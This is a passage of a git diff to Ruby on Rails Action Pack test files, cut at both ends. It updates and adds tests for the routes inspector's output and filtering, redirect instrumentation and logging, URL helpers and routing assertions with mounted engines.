-          "       GET  /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+          "       GET  /photos/:id(.:format) photos#show #{{ id: /[A-Z]\d{5}/ }}"
         ], output
       end
 
@@ -222,7 +240,7 @@ def test_rails_routes_shows_route_with_rack_app
 
         assert_equal [
           "Prefix Verb URI Pattern        Controller#Action",
-          "       GET  /foo/:id(.:format) MountedRackApp {:id=>/[A-Z]\\d{5}/}"
+          "       GET  /foo/:id(.:format) MountedRackApp #{{ id: /[A-Z]\d{5}/ }}"
         ], output
       end
 
@@ -263,7 +281,7 @@ def inspect
 
         assert_equal [
           "          Prefix Verb URI Pattern Controller#Action",
-          "mounted_rack_app      /foo        MountedRackApp {:constraint=>( my custom constraint )}"
+          "mounted_rack_app      /foo        MountedRackApp #{{ constraint: constraint.new }}"
         ], output
       end
 
@@ -296,14 +314,14 @@ def test_redirect
 
         assert_equal [
           "Prefix Verb URI Pattern       Controller#Action",
-          "   foo GET  /foo(.:format)    redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
+          "   foo GET  /foo(.:format)    redirect(301, /foo/bar) #{{ subdomain: "admin" }}",
           "   bar GET  /bar(.:format)    redirect(307, path: /foo/bar)",
           "foobar GET  /foobar(.:format) redirect(301)"
         ], output
       end
 
       def test_routes_can_be_filtered
-        output = draw("posts") do
+        output = draw(grep: "posts") do
           resources :articles
           resources :posts
         end
@@ -319,8 +337,83 @@ def test_routes_can_be_filtered
                       "          DELETE /posts/:id(.:format)      posts#destroy"], output
       end
 
+      def test_routes_when_expanded
+        ActionDispatch::Routing::Mapper.route_source_locations = true
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        file_name = ActiveSupport::BacktraceCleaner.new.clean([__FILE__]).first
+        lineno = __LINE__
+        engine.routes.draw do
+          get "/cart", to: "cart#show"
+        end
+
+        output = draw(formatter: ActionDispatch::Routing::ConsoleFormatter::Expanded.new(width: 23)) do
+          get "/custom/assets", to: "custom_assets#show"
+          get "/custom/furnitures", to: "custom_furnitures#show"
+          mount engine => "/blog", :as => "blog"
+        end
+
+        expected = [ "[ Routes for application ]",
+                     "--[ Route 1 ]----------",
+                     "Prefix            | custom_assets",
+                     "Verb              | GET",
+                     "URI               | /custom/assets(.:format)",
+                     "Controller#Action | custom_assets#show",
+                     "Source Location   | #{file_name}:#{lineno + 6}",
+                     "--[ Route 2 ]----------",
+                     "Prefix            | custom_furnitures",
+                     "Verb              | GET",
+                     "URI               | /custom/furnitures(.:format)",
+                     "Controller#Action | custom_furnitures#show",
+                     "Source Location   | #{file_name}:#{lineno + 7}",
+                     "--[ Route 3 ]----------",
+                     "Prefix            | blog",
+                     "Verb              | ",
+                     "URI               | /blog",
+                     "Controller#Action | Blog::Engine",
+                     "Source Location   | #{file_name}:#{lineno + 8}",
+                     "",
+                     "[ Routes for Blog::Engine ]",
+                     "--[ Route 1 ]----------",
+                     "Prefix            | cart",
+                     "Verb              | GET",
+                     "URI               | /cart(.:format)",
+                     "Controller#Action | cart#show",
+                     "Source Location   | #{file_name}:#{lineno + 2}"]
+
+        assert_equal expected, output
+      ensure
+        ActionDispatch::Routing::Mapper.route_source_locations = false
+      end
+
+      def test_no_routes_matched_filter_when_expanded
+        output = draw(grep: "rails/dummy", formatter: ActionDispatch::Routing::ConsoleFormatter::Expanded.new) do
+          get "photos/:id" => "photos#show", :id => /[A-Z]\d{5}/
+        end
+
+        assert_equal [
+          "No routes were found for this grep pattern.",
+          "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html."
+        ], output
+      end
+
+      def test_not_routes_when_expanded
+        output = draw(formatter: ActionDispatch::Routing::ConsoleFormatter::Expanded.new) { }
+
+        assert_equal [
+          "You don't have any routes defined!",
+          "",
+          "Please add some routes in config/routes.rb.",
+          "",
+          "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html."
+        ], output
+      end
+
       def test_routes_can_be_filtered_with_namespaced_controllers
-        output = draw("admin/posts") do
+        output = draw(grep: "admin/posts") do
           resources :articles
           namespace :admin do
             resources :posts
@@ -340,7 +433,7 @@ def test_routes_can_be_filtered_with_namespaced_controllers
 
       def test_regression_route_with_controller_regexp
         output = draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":controller(/:action)", controller: /api\/[^\/]+/, format: false
           end
         end
@@ -349,50 +442,37 @@ def test_regression_route_with_controller_regexp
                       "       GET  /:controller(/:action) :controller#:action"], output
       end
 
-      def test_inspect_routes_shows_resources_route_when_assets_disabled
-        @set = ActionDispatch::Routing::RouteSet.new
-
-        output = draw do
-          get "/cart", to: "cart#show"
-        end
-
-        assert_equal [
-          "Prefix Verb URI Pattern     Controller#Action",
-          "  cart GET  /cart(.:format) cart#show"
-        ], output
-      end
-
       def test_routes_with_undefined_filter
         output = draw(controller: "Rails::MissingController") do
           get "photos/:id" => "photos#show", :id => /[A-Z]\d{5}/
         end
 
         assert_equal [
-          "No routes were found for this controller",
-          "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
+          "No routes were found for this controller.",
+          "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html."
         ], output
       end
 
       def test_no_routes_matched_filter
-        output = draw("rails/dummy") do
+        output = draw(grep: "rails/dummy") do
           get "photos/:id" => "photos#show", :id => /[A-Z]\d{5}/
         end
 
         assert_equal [
-          "No routes were found for this controller",
-          "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
+          "No routes were found for this grep pattern.",
+          "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html."
         ], output
       end
 
       def test_no_routes_were_defined
-        output = draw("Rails::DummyController") {}
+        output = draw { }
 
         assert_equal [
           "You don't have any routes defined!",
           "",
           "Please add some routes in config/routes.rb.",
           "",
-          "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
+          "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html."
         ], output
       end
 
@@ -418,6 +498,199 @@ def self.inspect
           "custom_assets GET  /custom/assets(.:format) custom_assets#show",
         ], output
       end
+
+      def test_route_with_proc_handler
+        output = draw do
+          get "/health", to: proc { [200, {}, ["OK"]] }
+        end
+        assert_equal [
+          "Prefix Verb URI Pattern       Controller#Action",
+          "health GET  /health(.:format) Inline handler (Proc/Lambda)"
+        ], output
+      end
+
+      def test_displaying_routes_for_engines_with_filter
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+          get "/cart", to: "cart#show"
+        end
+
+        output = draw(grep: "cart") do
+          get "/custom/assets", to: "custom_assets#show"
+          mount engine => "/blog", :as => "blog"
+        end
+
+        assert_equal [
+          "Routes for application:",
+          "No routes were found for this grep pattern.",
+          "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html.",
+          "",
+          "Routes for Blog::Engine:",
+          "Prefix Verb URI Pattern     Controller#Action",
+          "  cart GET  /cart(.:format) cart#show"
+        ], output
+      end
+
+      def test_displaying_routes_for_engines_with_filter_not_matched
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+          get "/cart", to: "cart#show"
+        end
+
+        output = draw(grep: "dummy") do
+          get "/custom/assets", to: "custom_assets#show"
+          mount engine => "/blog", :as => "blog"
+        end
+
+        assert_equal [
+          "Routes for application:",
+          "No routes were found for this grep pattern.",
+          "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html.",
+          "",
+          "Routes for Blog::Engine:",
+          "No routes were found for this grep pattern.",
+        ], output
+      end
+
+      def test_action_source_location_for_controller_action
+        @set.draw do
+          get "/posts", to: "inspector_test_app/posts#index"
+          get "/posts/:id", to: "inspector_test_app/posts#show"
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        posts_index = routes.find { |r| r.reqs == "inspector_test_app/posts#index" }
+        posts_show = routes.find { |r| r.reqs == "inspector_test_app/posts#show" }
+
+        assert_match(/inspector_test\.rb:\d+/, posts_index.action_source_location)
+        assert_match(/inspector_test\.rb:\d+/, posts_show.action_source_location)
+        assert_not_equal posts_index.action_source_location, posts_show.action_source_location
+      end
+
+      def test_action_source_location_for_namespaced_controller
+        @set.draw do
+          get "/admin/users", to: "inspector_test_app/admin/users#index"
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        admin_users_index = routes.find { |r| r.reqs == "inspector_test_app/admin/users#index" }
+
+        assert_match(/inspector_test\.rb:\d+/, admin_users_index.action_source_location)
+      end
+
+      def test_action_source_location_returns_nil_for_missing_controller
+        @set.draw do
+          get "/missing", to: "missing#index"
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        missing = routes.find { |r| r.reqs == "missing#index" }
+
+        assert_nil missing.action_source_location
+      end
+
+      def test_action_source_location_returns_nil_for_missing_action
+        @set.draw do
+          get "/posts/missing", to: "inspector_test_app/posts#missing"
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        missing = routes.find { |r| r.reqs == "inspector_test_app/posts#missing" }
+
+        assert_nil missing.action_source_location
+      end
+
+      def test_action_source_location_returns_nil_for_rack_app
+        @set.draw do
+          get "/health", to: proc { [200, {}, ["OK"]] }
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        health = routes.first
+
+        assert_nil health.action_source_location
+      end
+
+      def test_action_source_location_returns_nil_for_dynamic_controller
+        @set.draw do
+          ActionDispatch.deprecator.silence do
+            get ":controller/:action"
+          end
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        dynamic = routes.first
+
+        assert_nil dynamic.action_source_location
+      end
+
+      def test_action_source_location_included_in_to_h
+        @set.draw do
+          get "/posts", to: "inspector_test_app/posts#index"
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        hash = routes.first.to_h
+
+        assert hash.key?(:action_source_location)
+        assert_match(/inspector_test\.rb:\d+/, hash[:action_source_location])
+
+        assert hash.key?(:action_source_file)
+        assert_match(/inspector_test\.rb/, hash[:action_source_file])
+
+        assert hash.key?(:action_source_line)
+        assert_kind_of Integer, hash[:action_source_line]
+      end
+
+      def test_action_source_file_and_line_returns_tuple
+        @set.draw do
+          get "/posts", to: "inspector_test_app/posts#index"
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        route = routes.find { |r| r.reqs == "inspector_test_app/posts#index" }
+        file, line = route.action_source_file_and_line
+
+        assert_match(/inspector_test\.rb/, file)
+        assert_kind_of Integer, line
+      end
+
+      def test_action_source_file_and_line_returns_nil_for_missing_action
+        @set.draw do
+          get "/posts/missing", to: "inspector_test_app/posts#missing"
+        end
+
+        routes = @set.routes.routes.map { |r| RouteWrapper.new(r) }
+        route = routes.find { |r| r.reqs == "inspector_test_app/posts#missing" }
+
+        assert_nil route.action_source_file_and_line
+      end
+
+      def test_action_source_location_in_expanded_output
+        @set.draw do
+          get "/posts", to: "inspector_test_app/posts#index"
+        end
+
+        inspector = RoutesInspector.new(@set.routes)
+        output = inspector.format(ConsoleFormatter::Expanded.new(width: 23))
+
+        assert_match(/Action Location.*inspector_test\.rb:\d+/m, output)
+      end
+
+      private
+        def draw(formatter: ActionDispatch::Routing::ConsoleFormatter::Sheet.new, **options, &block)
+          @set.draw(&block)
+          inspector = ActionDispatch::Routing::RoutesInspector.new(@set.routes)
+          inspector.format(formatter, options).split("\n")
+        end
     end
   end
 end
diff --git a/actionpack/test/dispatch/routing/instrumentation_test.rb b/actionpack/test/dispatch/routing/instrumentation_test.rb
new file mode 100644
index 0000000000000..1e27f1b7317dd
--- /dev/null
+++ b/actionpack/test/dispatch/routing/instrumentation_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RoutingInstrumentationTest < ActionDispatch::IntegrationTest
+  test "redirect is instrumented" do
+    draw do
+      get "redirect", to: redirect("/login")
+    end
+
+    notification = assert_notification("redirect.action_dispatch", status: 301, location: "http://www.example.com/login") do
+      get "/redirect"
+    end
+
+    assert_kind_of ActionDispatch::Request, notification.payload[:request]
+  end
+
+  private
+    def draw(&block)
+      self.class.stub_controllers do |routes|
+        routes.default_url_options = { host: "www.example.com" }
+        routes.draw(&block)
+        @app = RoutedRackApp.new routes
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/routing/ipv6_redirect_test.rb b/actionpack/test/dispatch/routing/ipv6_redirect_test.rb
index 179aee9ba7b4b..31559bffc70bd 100644
--- a/actionpack/test/dispatch/routing/ipv6_redirect_test.rb
+++ b/actionpack/test/dispatch/routing/ipv6_redirect_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class IPv6IntegrationTest < ActionDispatch::IntegrationTest
diff --git a/actionpack/test/dispatch/routing/log_subscriber_test.rb b/actionpack/test/dispatch/routing/log_subscriber_test.rb
new file mode 100644
index 0000000000000..a228457c2eb3f
--- /dev/null
+++ b/actionpack/test/dispatch/routing/log_subscriber_test.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+require "action_dispatch/structured_event_subscriber"
+require "action_dispatch/log_subscriber"
+
+class RoutingLogSubscriberTest < ActionDispatch::IntegrationTest
+  setup do
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @old_logger = ActionDispatch::LogSubscriber.logger
+    ActionDispatch::LogSubscriber.logger = @logger
+  end
+
+  teardown do
+    ActionDispatch::LogSubscriber.logger = @old_logger
+  end
+
+  test "redirect is logged" do
+    draw do
+      get "redirect", to: redirect("/login")
+    end
+
+    get "/redirect"
+
+    assert_equal 2, logs.size
+    assert_equal "Redirected to http://www.example.com/login", logs.first
+    assert_match(/Completed 301/, logs.last)
+  end
+
+  test "verbose redirect logs" do
+    line = __LINE__ + 7
+    old_cleaner = ActionDispatch::LogSubscriber.backtrace_cleaner
+    ActionDispatch::LogSubscriber.backtrace_cleaner = ActionDispatch::LogSubscriber.backtrace_cleaner.dup
+    ActionDispatch::LogSubscriber.backtrace_cleaner.add_silencer { |location| !location.include?(__FILE__) }
+    ActionDispatch.verbose_redirect_logs = true
+
+    draw do
+      get "redirect", to: redirect("/login")
+    end
+
+    get "/redirect"
+
+    assert_equal 3, logs.size
+    assert_match(/↳ #{__FILE__}:#{line}/, logs[1])
+  ensure
+    ActionDispatch.verbose_redirect_logs = false
+    ActionDispatch::LogSubscriber.backtrace_cleaner = old_cleaner
+  end
+
+  private
+    def draw(&block)
+      self.class.stub_controllers do |routes|
+        routes.default_url_options = { host: "www.example.com" }
+        routes.draw(&block)
+        @app = RoutedRackApp.new routes
+      end
+    end
+
+    def get(path, **options)
+      super(path, **options.merge(headers: { "action_dispatch.routes" => @app.routes }))
+    end
+
+    def logs
+      @logs ||= @logger.logged(:info)
+    end
+end
diff --git a/actionpack/test/dispatch/routing/non_dispatch_routed_app_test.rb b/actionpack/test/dispatch/routing/non_dispatch_routed_app_test.rb
new file mode 100644
index 0000000000000..676a8c38d4e3e
--- /dev/null
+++ b/actionpack/test/dispatch/routing/non_dispatch_routed_app_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Routing
+    class NonDispatchRoutedAppTest < ActionDispatch::IntegrationTest
+      # For example, Grape::API
+      class SimpleApp
+        def self.call(env)
+          [ 200, { "Content-Type" => "text/plain" }, [] ]
+        end
+
+        def self.routes
+          []
+        end
+      end
+
+      setup { @app = SimpleApp }
+
+      test "does not except" do
+        get "/foo"
+        assert_response :success
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/routing/route_set_test.rb b/actionpack/test/dispatch/routing/route_set_test.rb
index ace35dda53ea3..6ad64b2946d64 100644
--- a/actionpack/test/dispatch/routing/route_set_test.rb
+++ b/actionpack/test/dispatch/routing/route_set_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
@@ -18,23 +20,23 @@ def call(env)
       end
 
       test "not being empty when route is added" do
-        assert empty?
+        assert_empty @set
 
         draw do
           get "foo", to: SimpleApp.new("foo#index")
         end
 
-        assert_not empty?
+        assert_not_empty @set
       end
 
-      test "url helpers are added when route is added" do
+      test "URL helpers are added when route is added" do
         draw do
           get "foo", to: SimpleApp.new("foo#index")
         end
 
         assert_equal "/foo", url_helpers.foo_path
         assert_raises NoMethodError do
-          assert_equal "/bar", url_helpers.bar_path
+          url_helpers.bar_path
         end
 
         draw do
@@ -46,7 +48,7 @@ def call(env)
         assert_equal "/bar", url_helpers.bar_path
       end
 
-      test "url helpers are updated when route is updated" do
+      test "URL helpers are updated when route is updated" do
         draw do
           get "bar", to: SimpleApp.new("bar#index"), as: :bar
         end
@@ -60,7 +62,7 @@ def call(env)
         assert_equal "/baz", url_helpers.bar_path
       end
 
-      test "url helpers are removed when route is removed" do
+      test "URL helpers are removed when route is removed" do
         draw do
           get "foo", to: SimpleApp.new("foo#index")
           get "bar", to: SimpleApp.new("bar#index")
@@ -75,7 +77,7 @@ def call(env)
 
         assert_equal "/foo", url_helpers.foo_path
         assert_raises NoMethodError do
-          assert_equal "/bar", url_helpers.bar_path
+          url_helpers.bar_path
         end
       end
 
@@ -93,7 +95,7 @@ def call(env)
         end
 
         assert_raises ArgumentError do
-          assert_equal "http://example.com/foo", url_helpers.foo_url(only_path: false)
+          url_helpers.foo_url(only_path: false)
         end
       end
 
@@ -138,6 +140,53 @@ def call(env)
         assert_equal "/a/users/1", url_helpers.user_path(1, foo: "a")
       end
 
+      test "implicit path components consistently return the same result" do
+        draw do
+          resources :users, to: SimpleApp.new("foo#index")
+        end
+        assert_equal "/users/1.json", url_helpers.user_path(1, :json)
+        assert_equal "/users/1.json", url_helpers.user_path(1, format: :json)
+        assert_equal "/users/1.json", url_helpers.user_path(1, :json)
+      end
+
+      test "escape new line for dynamic params" do
+        draw do
+          get "/dynamic/:dynamic_segment", to: SimpleApp.new("foo#index"), as: :dynamic
+        end
+
+        assert_equal "/dynamic/a%0Anewline", url_helpers.dynamic_path(dynamic_segment: "a\nnewline")
+      end
+
+      test "escape new line for wildcard params" do
+        draw do
+          get "/wildcard/*wildcard_segment", to: SimpleApp.new("foo#index"), as: :wildcard
+        end
+
+        assert_equal "/wildcard/a%0Anewline", url_helpers.wildcard_path(wildcard_segment: "a\nnewline")
+      end
+
+      test "find a route for the given requirements" do
+        draw do
+          resources :foo
+          resources :bar
+        end
+
+        route = @set.from_requirements(controller: "bar", action: "index")
+
+        assert_equal "bar_index", route.name
+      end
+
+      test "find a route for the given requirements returns nil for no match" do
+        draw do
+          resources :foo
+          resources :bar
+        end
+
+        route = @set.from_requirements(controller: "baz", action: "index")
+
+        assert_nil route
+      end
+
       private
         def draw(&block)
           @set.draw(&block)
diff --git a/actionpack/test/dispatch/routing_assertions_test.rb b/actionpack/test/dispatch/routing_assertions_test.rb
index 917ce7e668668..f7450bf1ea145 100644
--- a/actionpack/test/dispatch/routing_assertions_test.rb
+++ b/actionpack/test/dispatch/routing_assertions_test.rb
@@ -1,12 +1,55 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "rails/engine"
 require "controller/fake_controllers"
 
-class SecureArticlesController < ArticlesController; end
+class SecureArticlesController < ArticlesController
+  def index
+    render(inline: "")
+  end
+end
 class BlockArticlesController < ArticlesController; end
 class QueryArticlesController < ArticlesController; end
 
-class RoutingAssertionsTest < ActionController::TestCase
+class SecureBooksController < BooksController; end
+class BlockBooksController < BooksController; end
+class QueryBooksController < BooksController; end
+
+module RoutingAssertionsSharedTests
   def setup
+    root_engine = Class.new(Rails::Engine) do
+      def self.name
+        "root_engine"
+      end
+    end
+
+    root_engine.routes.draw do
+      root to: "books#index"
+    end
+
+    engine = Class.new(Rails::Engine) do
+      def self.name
+        "blog_engine"
+      end
+    end
+
+    engine.routes.draw do
+      resources :books
+
+      scope "secure", constraints: { protocol: "https://" } do
+        resources :books, controller: "secure_books"
+      end
+
+      scope "block", constraints: lambda { |r| r.ssl? } do
+        resources :books, controller: "block_books"
+      end
+
+      scope "query", constraints: lambda { |r| r.params[:use_query] == "true" } do
+        resources :books, controller: "query_books"
+      end
+    end
+
     @routes = ActionDispatch::Routing::RouteSet.new
     @routes.draw do
       resources :articles
@@ -22,6 +65,16 @@ def setup
       scope "query", constraints: lambda { |r| r.params[:use_query] == "true" } do
         resources :articles, controller: "query_articles"
       end
+
+      mount engine => "/shelf"
+
+      mount root_engine => "/"
+
+      get "/shelf/foo", controller: "query_articles", action: "index"
+
+      get "*path", to: "symbols#index", constraints: ->(request) do
+        request.fullpath == "/request_mutated"
+      end
     end
   end
 
@@ -31,11 +84,11 @@ def test_assert_generates
   end
 
   def test_assert_generates_with_defaults
-    assert_generates("/articles/1/edit", { controller: "articles", action: "edit" }, id: "1")
+    assert_generates("/articles/1/edit", { controller: "articles", action: "edit" }, { id: "1" })
   end
 
   def test_assert_generates_with_extras
-    assert_generates("/articles", { controller: "articles", action: "index", page: "1" }, {}, page: "1")
+    assert_generates("/articles", { controller: "articles", action: "index", page: "1" }, {}, { page: "1" })
   end
 
   def test_assert_recognizes
@@ -48,45 +101,100 @@ def test_assert_recognizes_with_extras
   end
 
   def test_assert_recognizes_with_method
-    assert_recognizes({ controller: "articles", action: "create" }, path: "/articles", method: :post)
-    assert_recognizes({ controller: "articles", action: "update", id: "1" }, path: "/articles/1", method: :put)
+    assert_recognizes({ controller: "articles", action: "create" }, { path: "/articles", method: :post })
+    assert_recognizes({ controller: "articles", action: "update", id: "1" }, { path: "/articles/1", method: :put })
   end
 
   def test_assert_recognizes_with_hash_constraint
-    assert_raise(Assertion) do
+    assert_raise(Minitest::Assertion) do
       assert_recognizes({ controller: "secure_articles", action: "index" }, "http://test.host/secure/articles")
     end
     assert_recognizes({ controller: "secure_articles", action: "index", protocol: "https://" }, "https://test.host/secure/articles")
   end
 
   def test_assert_recognizes_with_block_constraint
-    assert_raise(Assertion) do
+    assert_raise(Minitest::Assertion) do
       assert_recognizes({ controller: "block_articles", action: "index" }, "http://test.host/block/articles")
     end
     assert_recognizes({ controller: "block_articles", action: "index" }, "https://test.host/block/articles")
   end
 
   def test_assert_recognizes_with_query_constraint
-    assert_raise(Assertion) do
+    assert_raise(Minitest::Assertion) do
       assert_recognizes({ controller: "query_articles", action: "index", use_query: "false" }, "/query/articles", use_query: "false")
     end
     assert_recognizes({ controller: "query_articles", action: "index", use_query: "true" }, "/query/articles", use_query: "true")
   end
 
   def test_assert_recognizes_raises_message
-    err = assert_raise(Assertion) do
+    err = assert_raise(Minitest::Assertion) do
       assert_recognizes({ controller: "secure_articles", action: "index" }, "http://test.host/secure/articles", {}, "This is a really bad msg")
     end
 
     assert_match err.message, "This is a really bad msg"
   end
 
+  def test_assert_recognizes_with_engine
+    assert_recognizes({ controller: "books", action: "index" }, "/shelf/books")
+    assert_recognizes({ controller: "books", action: "show", id: "1" }, "/shelf/books/1")
+  end
+
+  def test_assert_recognizes_with_engine_at_root
+    assert_recognizes({ controller: "books", action: "index" }, "/")
+  end
+
+  def test_assert_recognizes_with_engine_and_extras
+    assert_recognizes({ controller: "books", action: "index", page: "1" }, "/shelf/books", page: "1")
+  end
+
+  def test_assert_recognizes_with_engine_and_method
+    assert_recognizes({ controller: "books", action: "create" }, { path: "/shelf/books", method: :post })
+    assert_recognizes({ controller: "books", action: "update", id: "1" }, { path: "/shelf/books/1", method: :put })
+  end
+
+  def test_assert_recognizes_with_engine_and_hash_constraint
+    assert_raise(Minitest::Assertion) do
+      assert_recognizes({ controller: "secure_books", action: "index" }, "http://test.host/shelf/secure/books")
+    end
+    assert_recognizes({ controller: "secure_books", action: "index", protocol: "https://" }, "https://test.host/shelf/secure/books")
+  end
+
+  def test_assert_recognizes_with_engine_and_block_constraint
+    assert_raise(Minitest::Assertion) do
+      assert_recognizes({ controller: "block_books", action: "index" }, "http://test.host/shelf/block/books")
+    end
+    assert_recognizes({ controller: "block_books", action: "index" }, "https://test.host/shelf/block/books")
+  end
+
+  def test_assert_recognizes_with_engine_and_query_constraint
+    assert_raise(Minitest::Assertion) do
+      assert_recognizes({ controller: "query_books", action: "index", use_query: "false" }, "/shelf/query/books", use_query: "false")
+    end
+    assert_recognizes({ controller: "query_books", action: "index", use_query: "true" }, "/shelf/query/books", use_query: "true")
+  end
+
+  def test_assert_recognizes_raises_message_with_engine
+    err = assert_raise(Minitest::Assertion) do
+      assert_recognizes({ controller: "secure_books", action: "index" }, "http://test.host/shelf/secure/books", {}, "This is a really bad msg")
+    end
+
+    assert_match err.message, "This is a really bad msg"
+  end
+
+  def test_assert_recognizes_continue_to_recognize_after_it_tried_engines
+    assert_recognizes({ controller: "query_articles", action: "index" }, "/shelf/foo")
+  end
+
+  def test_assert_recognizes_doesnt_mutate_request
+    assert_recognizes({ controller: "symbols", action: "index", path: "request_mutated" }, "/request_mutated")
+  end
+
   def test_assert_routing
     assert_routing("/articles", controller: "articles", action: "index")
   end
 
   def test_assert_routing_raises_message
-    err = assert_raise(Assertion) do
+    err = assert_raise(Minitest::Assertion) do
       assert_routing("/thisIsNotARoute", { controller: "articles", action: "edit", id: "1" }, { id: "1" }, {}, "This is a really bad msg")
     end
 
@@ -94,22 +202,22 @@ def test_assert_routing_raises_message
   end
 
   def test_assert_routing_with_defaults
-    assert_routing("/articles/1/edit", { controller: "articles", action: "edit", id: "1" }, id: "1")
+    assert_routing("/articles/1/edit", { controller: "articles", action: "edit", id: "1" }, { id: "1" })
   end
 
   def test_assert_routing_with_extras
-    assert_routing("/articles", { controller: "articles", action: "index", page: "1" }, {}, page: "1")
+    assert_routing("/articles", { controller: "articles", action: "index", page: "1" }, {}, { page: "1" })
   end
 
   def test_assert_routing_with_hash_constraint
-    assert_raise(Assertion) do
+    assert_raise(Minitest::Assertion) do
       assert_routing("http://test.host/secure/articles", controller: "secure_articles", action: "index")
     end
     assert_routing("https://test.host/secure/articles", controller: "secure_articles", action: "index", protocol: "https://")
   end
 
   def test_assert_routing_with_block_constraint
-    assert_raise(Assertion) do
+    assert_raise(Minitest::Assertion) do
       assert_routing("http://test.host/block/articles", controller: "block_articles", action: "index")
     end
     assert_routing("https://test.host/block/articles", controller: "block_articles", action: "index")
@@ -122,9 +230,175 @@ def test_with_routing
       end
 
       assert_routing("/artikel", controller: "articles", action: "index")
-      assert_raise(Assertion) do
+      assert_raise(Minitest::Assertion) do
         assert_routing("/articles", controller: "articles", action: "index")
       end
     end
   end
+
+  module WithRoutingSharedTests
+    extend ActiveSupport::Concern
+
+    def before_setup
+      @routes = ActionDispatch::Routing::RouteSet.new
+      @routes.draw do
+        resources :articles
+      end
+
+      super
+    end
+
+    included do
+      with_routing do |routes|
+        routes.draw do
+          resources :articles, path: "artikel"
+        end
+      end
+    end
+
+    def test_with_routing_for_the_entire_test_file
+      assert_routing("/artikel", controller: "articles", action: "index")
+      assert_raise(Minitest::Assertion) do
+        assert_routing("/articles", controller: "articles", action: "index")
+      end
+    end
+
+    def test_with_routing_for_entire_test_file_can_be_overwritten_for_individual_test
+      with_routing do |routes|
+        routes.draw do
+          resources :articles, path: "articolo"
+        end
+
+        assert_routing("/articolo", controller: "articles", action: "index")
+        assert_raise(Minitest::Assertion) do
+          assert_routing("/artikel", controller: "articles", action: "index")
+        end
+      end
+
+      assert_routing("/artikel", controller: "articles", action: "index")
+      assert_raise(Minitest::Assertion) do
+        assert_routing("/articolo", controller: "articles", action: "index")
+      end
+    end
+  end
+end
+
+class RoutingAssertionsControllerTest < ActionController::TestCase
+  include RoutingAssertionsSharedTests
+
+  class WithRoutingTest < ActionController::TestCase
+    include RoutingAssertionsSharedTests::WithRoutingSharedTests
+
+    test "with_routing routes are reachable" do
+      @controller = SecureArticlesController.new
+
+      with_routing do |routes|
+        routes.draw do
+          get :new_route, to: "secure_articles#index"
+        end
+
+        get :index
+
+        assert_predicate(response, :ok?)
+      end
+    end
+  end
+end
+
+class RoutingAssertionsIntegrationTest < ActionDispatch::IntegrationTest
+  include RoutingAssertionsSharedTests
+
+  test "https and host settings are set on new session" do
+    https!
+    host! "newhost.com"
+
+    with_routing do |routes|
+      routes.draw {  }
+      assert_predicate integration_session, :https?
+      assert_equal "newhost.com", integration_session.host
+    end
+  end
+
+  class WithRoutingTest < ActionDispatch::IntegrationTest
+    include RoutingAssertionsSharedTests::WithRoutingSharedTests
+
+    test "with_routing routes are reachable" do
+      with_routing do |routes|
+        routes.draw do
+          get :new_route, to: "secure_articles#index"
+        end
+
+        get "/new_route"
+
+        assert_predicate(response, :ok?)
+      end
+    end
+  end
+
+  class WithRoutingSettingsTest < ActionDispatch::IntegrationTest
+    setup do
+      https!
+      host! "newhost.com"
+    end
+
+    with_routing do |routes|
+      routes.draw {  }
+    end
+
+    test "https and host settings are set on new session" do
+      assert_predicate integration_session, :https?
+      assert_equal "newhost.com", integration_session.host
+    end
+  end
+end
+
+class WithRoutingResetTest < ActionDispatch::IntegrationTest
+  test "with_routing doesn't rebuild the middleware stack" do
+    middleware = Class.new do
+      def initialize(app)
+        @app = app
+        @config = {}
+
+        yield(@config)
+      end
+
+      def call(env)
+        [200, { Rack::CONTENT_TYPE => "text/plain; charset=UTF-8" }, [@config[:foo]]]
+      end
+    end
+
+    middleware_config = nil
+
+    @app = self.class.build_app do |middleware_stack|
+      middleware_stack.use middleware do |config|
+        middleware_config = config
+      end
+    end
+    @app.routes.draw do
+      get("/purchase", to: "store#purchase")
+    end
+
+    middleware_config[:foo] = "bar"
+
+    # Ensure the middleware is properly configured before calling `with_routing`
+    get "/purchase"
